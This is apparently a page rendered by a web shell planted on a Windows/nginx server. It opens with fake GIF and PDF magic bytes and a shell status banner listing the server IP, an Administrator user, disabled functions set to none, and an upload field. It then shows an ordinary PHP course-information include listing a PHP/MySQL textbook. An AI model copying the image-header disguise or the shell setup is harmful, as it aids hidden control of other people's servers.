GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/_MMDT2146/ |
Upload File : |
<? // MMDT1146/classInfo.phpinc debugTrackBegin(); if (dc()) { echo basename(__FILE__)," line ",__LINE__,": ","<b>".__FILE__."</b><br>\n"; } // Class information. $class = array(); $class['credits'] = 3; $class['lectureHours'] = 3; $class['labHours'] = 0; $class['StartDate'][] = '2014-01-17'; $class['EndDate'][] = '2014-05-16'; $class['meetingTime'][] = "12:30pm-3:00pm"; $class['Lab'] = array(); //$class[''] = ""; // Textbook information. $textbook = array(); $textbook['Title1'] = "PHP and MySQL for Dynamic Web Sites: Visual QuickPro Guide"; $textbook['Edition1'] = "4th"; $textbook['Author1'] = "Larry Ullman"; $textbook['Publisher1'] = "Peachpit Press"; $textbook['Copyright1'] = "2012"; $textbook['ISBN1_10'] = "0-321-78407-3"; $textbook['ISBN1_13'] = "978-0-321-78407-0"; /* $filename = str_replace("\\","/",getcwd()).'/'.$textbook['ISBN1_10'].'.-smalljpg'; //$filename = str_replace("\\","/",getcwd()).'/'; //$filename = str_replace("\\","/",getcwd()).'/'.'0-321-43084-0.jpg'; if (file_exists($filename)) { echo "The file $filename exists"."<br>\n"; } else { echo "The file $filename does not exist"."<br>\n"; } */ #echo str_replace("\\","/",dirname(__FILE__)).'/'.$textbook['ISBN1_10'].'-small.jpg'."<br>\n"; #echo str_replace($_SESSION['DIRECTORY_ROOT'],"",str_replace("\\","/",dirname(__FILE__))).'/'.$textbook['ISBN1_10'].'-small.jpg'."<br>\n"; $textbookCoverSRC = '/'.str_replace($_SESSION['DIRECTORY_ROOT'],"",str_replace("\\","/",dirname(__FILE__))).'/'.$textbook['ISBN1_10']; #echo $textbookCoverSRC."<br>\n"; #echo '<pre>'; print_r($_SESSION); echo '</pre>'; if (file_exists(str_replace("\\","/",dirname(__FILE__)).'/'.$textbook['ISBN1_10'].'-small.jpg')) { if (file_exists(str_replace("\\","/",dirname(__FILE__)).'/'.$textbook['ISBN1_10'].'.jpg')) { $textbook['Cover1'] = '<a href="'.$textbook['ISBN1_10'].'.jpg">'.'<img src="'.$textbookCoverSRC.'-small.jpg" alt="'.$textbook['Title1'].' cover" /></a>'; } else { $textbook['Cover1'] = '<img src="'.$textbookCoverSRC.'-small.jpg" alt="'.$textbook['Title1'].' cover" />'; } } else { $textbook['Cover1'] = ''; } $textbook['Title1'] = '<i>'.$textbook['Title1'].'</i>'; if ($textbook['Edition1'] != '') { $textbook['Edition1Edition'] = " <i>".$textbook['Edition1']." Edition</i>"; } else { $textbook['Edition1Edition'] = ''; } $textbook['Copyright1'] = '©'.$textbook['Copyright1']; if ($textbook['ISBN1_13'] == '') { $textbook['ISBN1'] = 'ISBN: '.$textbook['ISBN1_10']; } else { $textbook['ISBN1'] = 'ISBN-10: '.$textbook['ISBN1_10'].'<br />'.'ISBN-13: '.$textbook['ISBN1_13']; } $textbook['textbook1'] = '<table><tr><td>'.$textbook['Cover1'].'</td><td>'; $textbook['textbook1'] .= $textbook['Title1']."<br />"; if ($textbook['Edition1'] !='') $textbook['textbook1'] .= "Edition: ".$textbook['Edition1']."<br />"; $textbook['textbook1'] .= $textbook['Author1']."<br />"; $textbook['textbook1'] .= $textbook['Publisher1']." ".$textbook['Copyright1']."<br />"; $textbook['textbook1'] .= $textbook['ISBN1']; $textbook['textbook1'] .= '</td><td> (Student supplied textbook).</td></tr></table>'; include('Course/classHours.phpinc'); debugTrackEnd(); ?>